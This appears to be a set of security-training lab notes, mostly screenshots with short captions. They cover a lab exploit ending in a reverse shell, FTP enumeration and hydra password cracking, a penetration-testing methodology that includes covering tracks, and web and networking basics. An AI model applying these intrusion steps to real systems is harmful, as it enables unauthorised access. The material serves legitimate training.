![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceXwq-Vfm-bJSRpqPS%2F-Mce_eNSXzUxd3AD1uUV%2Fimage.png?alt=media\&token=58306cb2-1234-46f5-aec7-b32a6ebcad0f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceXwq-Vfm-bJSRpqPS%2F-Mce_hrYbLC1QpPvl6ub%2Fimage.png?alt=media\&token=03c1e8f9-0d5a-43e2-88e0-234cb17303f8)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceXwq-Vfm-bJSRpqPS%2F-Mce_Ziv0OHfGSGRZhxY%2Fimage.png?alt=media\&token=c347aa8c-bb28-4db4-aca0-bc329eba1ce7)

Lets run the exploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceXwq-Vfm-bJSRpqPS%2F-Mcea-tPZH0xQBhpuU_8%2Fimage.png?alt=media\&token=26112a07-6a1a-4d0e-89ae-b05d1e6bd6f1)

We should get a reverse shell

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceXwq-Vfm-bJSRpqPS%2F-Mcea4JOSIZeqyjTeitk%2Fimage.png?alt=media\&token=a1e5f5fd-cc2d-4047-bef7-03277295ff9d)

Lets read the flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceXwq-Vfm-bJSRpqPS%2F-MceaAcdESymETrZ-4D8%2Fimage.png?alt=media\&token=6582a253-7433-4835-bf23-8cda4087c180)

## FTP: File Transfer Protocol

### Understanding FTP

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mce08LWrZvD3qMUF0cL%2F-Mce2XZSjWt_1NMWxzIO%2Fimage.png?alt=media\&token=bdec3f23-2505-45d4-a982-4e55f5224ec2)

### Enumerating FTP

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mce4kINqFjaX6OSFNfH%2F-MceUsnMDuJd8kM3hCUL%2Fimage.png?alt=media\&token=811b0f6a-8254-4183-a6cc-14c3615a6b72)

Lets start scanning

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mce4kINqFjaX6OSFNfH%2F-MceVuRiZaoMROs6e12r%2Fimage.png?alt=media\&token=19efdeff-4cb0-4566-bd95-a9c40be47b76)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceWgCeFs3ncL8QZqAj%2F-MceWnpJyiDfNjriR4Gg%2Fimage.png?alt=media\&token=059af2f1-0cac-4fe4-9409-bba73f2a3438)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mce4kINqFjaX6OSFNfH%2F-MceVyBJRZ4MUKQyPwNH%2Fimage.png?alt=media\&token=d9d5080c-3708-4d4e-9b04-cb9f1259ef63)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceWgCeFs3ncL8QZqAj%2F-MceWjYG42FRrqFzb2Ti%2Fimage.png?alt=media\&token=7745f233-c078-462f-8d6a-79c1d55c0a51)

Lets login through FTP&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mce4kINqFjaX6OSFNfH%2F-MceW5b2AU4qJicckAvm%2Fimage.png?alt=media\&token=30beee2d-51d4-4bbf-8ce0-94c75af0f86f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceWPlGfDRPg3dSnXvc%2F-MceWbdKeWLLv7b-_Z3p%2Fimage.png?alt=media\&token=b73b9403-e24c-41ed-a46c-5fd1e7bb7349)

Lets get this file on our machine and read it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mce4kINqFjaX6OSFNfH%2F-MceWJLvh2rn9m10iMhO%2Fimage.png?alt=media\&token=e249b4a8-fcd9-4cdb-8a19-b70dd26d0737)

We can see that Mike is a possible username

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceWPlGfDRPg3dSnXvc%2F-MceWXxaZAKGxhsYR9Iz%2Fimage.png?alt=media\&token=633db263-4ef0-4bdc-a7c0-4c14ed40c3b7)

### Exploiting FTP

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceWgCeFs3ncL8QZqAj%2F-MceWzwYgZuWFxKhflza%2Fimage.png?alt=media\&token=72244423-b582-46a2-95b7-d467036c3bad)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceWgCeFs3ncL8QZqAj%2F-MceX2VH7gqV0IhU60XL%2Fimage.png?alt=media\&token=38b74722-7cab-4ef9-8572-2c092c6cefac)

Lets crack the password using hydra

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceWgCeFs3ncL8QZqAj%2F-MceXPlyDpZLN3rgj9yt%2Fimage.png?alt=media\&token=406ca83f-9d9b-4ee8-bb47-d354ad632d19)

Now lets login and get the ftp.txt file on our machine and read it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceWgCeFs3ncL8QZqAj%2F-MceXjgD46aPOSeWlMWV%2Fimage.png?alt=media\&token=13af8312-b064-40d9-865c-26b27871f729)


# The Hacker Methodology

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McROuTK3A_nDuU_GJvE%2F-McRPvcupSXgpJaEIFH6%2Fimage.png?alt=media\&token=38f6c3cc-64ae-4727-83c5-eb1b8b5731b4)

## Methodology Outline

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRQy4rDZvELSAG0p0q%2F-McRR34SNKEaHWvLbt9F%2Fimage.png?alt=media\&token=bf0c0cd9-0d5e-4058-9acc-58eb7aa29cb7)

## Reconnaissance Overview

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRQy4rDZvELSAG0p0q%2F-McRRIUA1nV94Om1un6I%2Fimage.png?alt=media\&token=dc47ab60-57f9-445f-b4ce-189cfb85e1d3)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRQy4rDZvELSAG0p0q%2F-McRRR9bVnalCCVt_YVe%2Fimage.png?alt=media\&token=1d1a177e-273a-486f-8e3d-b319d4283e47)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRQy4rDZvELSAG0p0q%2F-McRRWPhNVbxgA5RnGbz%2Fimage.png?alt=media\&token=ab4132e0-bfd1-41b4-b581-869969064c30)

## Enumeration and Scanning Overview

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRQy4rDZvELSAG0p0q%2F-McRRoSSu3Ybm-VkMWp8%2Fimage.png?alt=media\&token=61335a94-d7cc-4e7a-b342-f7001cd50e9d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRQy4rDZvELSAG0p0q%2F-McRRu0hnQ8rtHG8Wv8J%2Fimage.png?alt=media\&token=c5f09044-6c00-4eeb-80af-c0fd65395ee3)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRQy4rDZvELSAG0p0q%2F-McRRxx2RKkl0VTOv84R%2Fimage.png?alt=media\&token=d8e418c2-221c-4db1-a40f-04544b8b39e4)

## Exploitation

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRQy4rDZvELSAG0p0q%2F-McRS3HCPQTVUKfV3Si6%2Fimage.png?alt=media\&token=5a8e49f6-2913-45ab-a0b6-9f3da4f5fa7b)

## Privilege Escalation

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRQy4rDZvELSAG0p0q%2F-McRSEWlDbAGSecZ0aBP%2Fimage.png?alt=media\&token=9003c08d-7df2-45f9-8ff8-8ce4d38f91e4)

## Covering Tracks

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRQy4rDZvELSAG0p0q%2F-McRSKje5XCzqBTivAed%2Fimage.png?alt=media\&token=1b669606-c656-431d-b28b-68e70efb2d19)

## Reporting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRQy4rDZvELSAG0p0q%2F-McRSqArC-rh7gervTCN%2Fimage.png?alt=media\&token=ba458625-f513-4116-a8be-cbdb016b166c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRQy4rDZvELSAG0p0q%2F-McRSt9bpmTGZhxl-dV6%2Fimage.png?alt=media\&token=71d976cf-4f64-40c1-ab0b-11635331ab38)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRQy4rDZvELSAG0p0q%2F-McRSvqQXv8A1Ol0qdTS%2Fimage.png?alt=media\&token=486c205e-9471-4063-beb2-db113a023aa2)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRQy4rDZvELSAG0p0q%2F-McRSzPaCVLixYnEGcu6%2Fimage.png?alt=media\&token=1406144f-3192-4d78-997c-229c14058ccd)


# The Find command

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRJvLTcvPgdCJnVXMB%2F-McRLO6I_nGZs3ry_LZP%2Fimage.png?alt=media\&token=9533ef47-8d75-4e8e-a1a0-c80f752e37df)

## Task 1: Start finding

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRJvLTcvPgdCJnVXMB%2F-McRLmAdJYeF3CBLUzoy%2Fimage.png?alt=media\&token=eff687d0-522f-4ec7-834e-69560e034ebd)

## Task 2: Be more specific&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRJvLTcvPgdCJnVXMB%2F-McRLs13r4NdzekHXJYU%2Fimage.png?alt=media\&token=8b78d674-c5ea-46d9-8c12-d87264c9c261)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRJvLTcvPgdCJnVXMB%2F-McRMmZPCz8iP8JL1-dq%2Fimage.png?alt=media\&token=7d42eaeb-797f-4047-872b-e86b7ae1aed7)

## Task 3: Know exactly what you're looking for

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRMndaKtGxuE5fFjO3%2F-McRMw8xbHhsYsdaP9M8%2Fimage.png?alt=media\&token=84347c6c-7154-43d2-b8ab-ade6eb7890e0)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRMndaKtGxuE5fFjO3%2F-McROfCoR93GslWAtFP0%2Fimage.png?alt=media\&token=c6bc4a0d-75ba-4c1c-a954-7bbe650be7e1)

## Task 4: Have you found it?

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McRMndaKtGxuE5fFjO3%2F-McROmgS03LTDw_5Rsuq%2Fimage.png?alt=media\&token=139b400e-9133-412e-92a6-10a7604f6c45)


# HTTP in Detail

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McPNUfMGHTcwMtYG0tr%2F-McPNpe8YxLgutYqA1Fc%2Fimage.png?alt=media\&token=0f06b9f8-4d17-45e5-b8e1-b2c2263915fe)

## Requests and Responses

When we access a website, your browser will need to make requests to a web server for assets such as HTML, Images, and download the responses. Before that, you need to tell the browser specifically how and where to access these resources, this is where URLs will help.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McPNr-zXdF2OHebBAKT%2F-McPOMHkduVANMXidQ5l%2Fimage.png?alt=media\&token=4a2ad907-42f6-4ec9-88c4-9690a96c714a)

**Scheme**: This instructs on what protocol to use for accessing the resource such as HTTP, HTTPS, FTP.

**User**: Some services require authentication to login.

**Host**: The domain name or IP address of the server you wish to access

**Port**: The Port that you are going to connect to.

**Path**: The file name or location of the resource you are trying to access

**Query String:** Extra bits of information that can be sent to the requested path. For example, /blog?**id=1** would tell the blog path that you wish to receive the blog article with the id of 1.

**Fragment:** This is a reference to a location on the actual page requested. This is commonly used for pages with long content and can have a certain part of the page directly linked to it, so it is viewable to the user as soon as they access the page.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McPNr-zXdF2OHebBAKT%2F-McPPDRHD0i7KwPFn0rl%2Fimage.png?alt=media\&token=1f278750-06a4-4313-95ff-a7bf4f25e20e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McPNr-zXdF2OHebBAKT%2F-McPPLBtobZmNuFBhzG_%2Fimage.png?alt=media\&token=a13b5abf-f794-4674-a03d-0a8bc857125f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McPNr-zXdF2OHebBAKT%2F-McPPOyk2bkH2LsOL-u6%2Fimage.png?alt=media\&token=ec895882-ec07-4784-843d-8633472eb0f9)

## HTTP Methods

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McPNr-zXdF2OHebBAKT%2F-McPQAruB8nxyU8RUdqT%2Fimage.png?alt=media\&token=7a2c11b9-f984-4927-881c-910e74eff0f5)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McPNr-zXdF2OHebBAKT%2F-McPQIHQzfZdXOSGx4uD%2Fimage.png?alt=media\&token=83b87ecc-7ecf-42ca-a243-06cb4d05f389)

## HTTP Status Codes

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McPNr-zXdF2OHebBAKT%2F-McPQRi-XTW33EfH_lHl%2Fimage.png?alt=media\&token=2878d1c4-c4f7-4739-b9a0-6029dd90af14)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McPNr-zXdF2OHebBAKT%2F-McPQXNnTStAwise3bxX%2Fimage.png?alt=media\&token=d8d2db0c-fc9d-4255-b664-4ba9013f18e9)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McPNr-zXdF2OHebBAKT%2F-McPQkWxwrgNNvxKk8D5%2Fimage.png?alt=media\&token=f4b657d0-0c2c-4774-a975-affcf028fb09)

## Headers

Headers are additional bits of data you can send to the web server when making requests

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McPNr-zXdF2OHebBAKT%2F-McPQz7qJkzbYzScXklv%2Fimage.png?alt=media\&token=f7735bf3-2d14-4c17-b700-1b3cda5bb9c2)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McPR-20sHmzNol_qi5m%2F-McPR8C-r1mc9MqYPdDC%2Fimage.png?alt=media\&token=05ac8d01-2822-4986-8483-100a6cc78c9c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McPRDR4Mbkp8lg7i0D7%2F-McPRL4d353RyK_tFfbs%2Fimage.png?alt=media\&token=8480b2f9-4198-45a9-9791-e0bbb867c871)

## Cookies

Cookies are small pieces of data that are stored on your computer. Cookies are saved when you receive a "Set-Cookie" header from a web server. Then every further request you make, you'll send the cookie data back to the server. Because HTTP is stateless (doesn't keep track of your previous requests), cookies can be used to remind the web server who you are.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McPRDR4Mbkp8lg7i0D7%2F-McPRqJYtoo3X82JPES8%2Fimage.png?alt=media\&token=0ade8493-33da-4350-85cb-d9ccd591a0eb)

The cookie value won't usually be a clear-text string where you can see the password, but a token (unique secret code that isn't easily humanly guessable).

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McPRDR4Mbkp8lg7i0D7%2F-McPSR0cjPlpNZVyPn89%2Fimage.png?alt=media\&token=a470eb00-5564-4e20-8b9a-2e4530d908e8)


# Web Fundamentals

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McH1czNaIxrZt3hNStm%2F-McH2JTZsr1Gx5H2V-2B%2Fimage.png?alt=media\&token=5a889e7d-7c6a-4130-b603-16f7f8205b54)

## How do we load websites

#### Finding the Server

Initially, a DNS request is made. DNS is like a giant phone book that takes a URL and turns it into an IP address. The IP address uniquely identifies each internet connected device, like a web server on your computer. These are formed of 4 groups of numbers , each 0-255 (x.x.x.x) and called an octet.

#### Loading some content

Once the browser knows the server's IP address, it can ask the server for the web page. This is done with a HTTP GET request. GET is an example of a HTTP verb. The server will respond to the GET request with the web page content.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McH1czNaIxrZt3hNStm%2F-McH5TAkeddAT2K1O8BO%2Fimage.png?alt=media\&token=1e2ecb08-f337-4afa-865a-556009e11c09)

For most websites now, these requests will use HTTPS. HTTPS is a secure (encrypted) version of HTTP, it works in more or less the same way. This uses TLC 1.3 (normally) encryption in order to communicate without:&#x20;

* Other parties being able to read the data
* Other parties being able to modify the data

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McH1czNaIxrZt3hNStm%2F-McH5y3URR9jCAexWA9B%2Fimage.png?alt=media\&token=654aedeb-2077-40de-a80f-0156737269df)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McH1czNaIxrZt3hNStm%2F-McH62GMDiA2qN2rMjaE%2Fimage.png?alt=media\&token=2d8d0d8a-fce0-4366-a343-066b39c53023)

## More HTTP - Verbs and request formats

#### Requests

There are 9 different "verbs", also known as methods. Each one has different function. We've mentioned GET requests already, these are used to retrieve content. POST requests ae used to send data to a web server, like adding a comment or performing a login.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McH1czNaIxrZt3hNStm%2F-McHhcSh4JdTy2YnV1GP%2Fimage.png?alt=media\&token=aec096fb-4eca-4006-b0a0-662cfa8e3dbb)

#### Responses

A basic breakdown of the status codes is:&#x20;

* 100-199: Information
* 200-299: Successes (200 OK is the "normal" response for a GET)
* 300-399: Redirects (the information you want is elsewhere)
* 400-499: Client errors (You did something wrong, like asking for something that doesn't exist)
* 500-599: Server errors (The server tried, but something went wrong on their side)

Response headers can be very important. They can often tell you something about the web server sending them, or give you cookies that may prove useful later on.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McH1czNaIxrZt3hNStm%2F-McHiBUhGlsQUKOBeSf8%2Fimage.png?alt=media\&token=0e954f83-0829-4699-8881-76ed9c0d22a0)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McH1czNaIxrZt3hNStm%2F-McHiQFVIk-Nbxw2ziUX%2Fimage.png?alt=media\&token=d3199a97-6678-43eb-b76c-f422c4fd677a)

## Cookies, tasty!

Cookies are small bits of data that are stored in your browser. Each browser will store them separately, so cookies in Chrome won't be available in Firefox. Main purposes are session management or advertising. Cookies are normally sent with every HTTP request made to the server.

Because HTTP is stateless (Each request is independent and no state is tracked internally), cookies are used to keep track of this. They allow sites to keep track of data like what items you have in your shopping cart, who you are, what you've done on the website and more.

Cookies can be broken down into several parts. Cookies have a name, a value, an expiry data and a path. The name identifies the cookie, the value is where data is stored, the expiry data is when the browser will get rid of the cookie automatically and the path determines what requests the cookie will be sent with. Cookies are normally only sent with requests to the site that set them. The server is normally what set cookies, and these come in the response headers ("Set-Cookie").

When you log in to a web application, normally you are given a Session Token. This allows the web server to identify your requests from someone else's. Stealing someone else's session token can often allow you to impersonate them.


# How Websites Work

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McGvTzniPfQn1KL9-jP%2F-McGveuk5OqBbBJDdZy3%2Fimage.png?alt=media\&token=8fbb348a-b29f-4085-a7cb-074e14267f0f)

## How websites work

When you visit a website, your browser (like Safari or Google Chrome) makes a request to a web server asking for information about the page you're visiting. It will respond with data that your browser uses to show you the page; a web server is just a dedicated computer somewhere else in the world that handles your requests.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McGvTzniPfQn1KL9-jP%2F-McGwJoMwY4q60BSpkKa%2Fimage.png?alt=media\&token=baa1eef9-3b45-4b8b-80ff-95505d1532c7)

There are two major components that make up a website:&#x20;

* Front End (Client-Side): The way your browser renders a website
* Back End (Server-Side): A server that processes your request and returns a response

## HTML

Websites are primarily created using:&#x20;

* HTML: To build websites and define their structure.
* CSS: To make websites look pretty adding styling options
* JavaScript: Implement complex features on pages using interactivity

**H**yper**T**ext **M**arkup **L**anguage (HTML) is the language websites are written in. Elements (also known as tags) are the building blocks of HTML pages and tells browser how to display content.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McGvTzniPfQn1KL9-jP%2F-McGxn8-sF0rTjvZgzlc%2Fimage.png?alt=media\&token=aff2dafa-97bf-4080-b5b5-51e5b98a2669)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McGvTzniPfQn1KL9-jP%2F-McGy91ndBw5tnGcPzzY%2Fimage.png?alt=media\&token=92fc95e0-2b7a-454b-8f80-e0aabe6ef208)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McGvTzniPfQn1KL9-jP%2F-McGylX9EaBwylqQTval%2Fimage.png?alt=media\&token=a4bc27be-1713-4a33-ac60-0335fcadec0e)

## JavaScript

JavaScript (JS) is one of the most popular coding languages in the world and allows pages to become interactive. JavaScript is used to control the functionality of web pages - without JavaScript, a page would not have interactive elements and would always be static.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McGvTzniPfQn1KL9-jP%2F-McGzfOsqTQj20qjglLc%2Fimage.png?alt=media\&token=d675bf22-a7a8-4562-b5cd-8a7898e6a00f)

## Sensitive Data Exposure&#x20;

Sensitive Data Exposure occurs when a website doesn't properly protect (or remove) sensitive clear-text information to the end-user; usually found in a site's frontend source code.

We now know that websites are built using many HTML elements (tags), all of which we can see simply by "viewing the page source". A website developer may have forgotten to remove login credentials, hidden links to private parts of the website or other sensitive data shown in HTML or JavaScript.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McGvTzniPfQn1KL9-jP%2F-McH03ehI5-qmyAcfegd%2Fimage.png?alt=media\&token=5d12b223-7f9b-4b8b-81dd-d9f6b70f9dd4)

## HTML Injection

HTML Injection is a vulnerability that occurs when unfiltered user input is displayed on the page. If a website fails to sanitize user input (filter any "malicious" text that a user inputs into a website), and that input is used on the page, an attacker can inject HTML code into a vulnerable website.

Database injection is where you can manipulate a database lookup query to log in as another user by controlling the input that's directly used in the query.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McGvTzniPfQn1KL9-jP%2F-McH147ehVkTWobZcGcM%2Fimage.png?alt=media\&token=0bef866b-1536-415b-94df-71b25b94b472)


# Introductory Networking

An introduction to networking theory and basic networking tools

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McFGB9O8c8rbUJU5mEi%2F-McFIS0mtR-s_vSwKDBS%2Fimage.png?alt=media\&token=a395e654-0fff-467c-aee0-3eb10c595ed6)

## The OSI Model: An Overview

### Notes

The OSI (Open Systems Interconnection) Model is a standardized model which we use to demonstrate the theory behind computer networking.

The OSI Model consists of 7 layers

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McFGB9O8c8rbUJU5mEi%2F-McFJMusKzzvyDRzOi8a%2Fimage.png?alt=media\&token=510ec410-0592-4b42-8812-5cda5df2dfab)

#### Layer 7: Application

This layer of the OSI model essentially provides networking options to programs running on a computer. It works almost exclusively with applications, providing an interface for them to use in order to transmit data.

#### Layer 6: Presentation

The presentation layer translates the data into a standardized format, as well as handling any encryption, compression or other transformations to the data.

#### Layer 5: Session

It is responsible to setting up a connection with the other computer across the network. If a session can be established then it's the job of the session layer to maintain it, as well as co-operate with the session layer of the remote computer in order to synchronize communications.

#### Layer 4: Transport

Its first purpose is to choose the protocol over which the data is to be transmitted. The two most common protocols in the transport layer are TCP (Transmission Control Protocol) and UDP (User Datagram Protocol). With TCP the transmission is connection-based (Connection between the computers is established and maintained for the duration of the request). With UDP , packets of data are thrown at the receiving computer. With the protocol selected, the transport layer then divides the transmission up into bite-sized pieces (Over TCP these are called segments, over UDP they are called datagrams)

#### Layer 3: Network

The network layer is responsible for locating the destination of your request. At this stage we are working with what is referred to as Logical addressing (i.e. IP addresses) which are still software controlled. Logical addresses are used to provide order to networks , categorizing them and allowing us to properly sort them. The most common form of logical addressing is IPV4 format.

#### Layer 2: Data Link

The data link layer focuses on the physical addressing of the transmission. It receives a packet from the network layer and adds in a physical (MAC) address of the receiving endpoint. Inside every network enabled computer is a Network Interface Card (NIC) which comes with a unique MAC (Media Access Control) address to identify it.

#### Layer 1: Physical

The physical layer is right down to hardware of the computer. This is where the electrical pulses that make up data transfer over a network are sent and received. Its the job of the physical layer to covert the binary data of the transmission into signals and transmit them across the network, as well as receiving incoming signals and converting them back into binary data.

### Questions

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McFNaS8jA-wBxp10YGD%2F-McFrj7P-TPHVKthgv2V%2Fimage.png?alt=media\&token=0b7c97f1-e98f-4b67-8c68-7019eb1a726a)

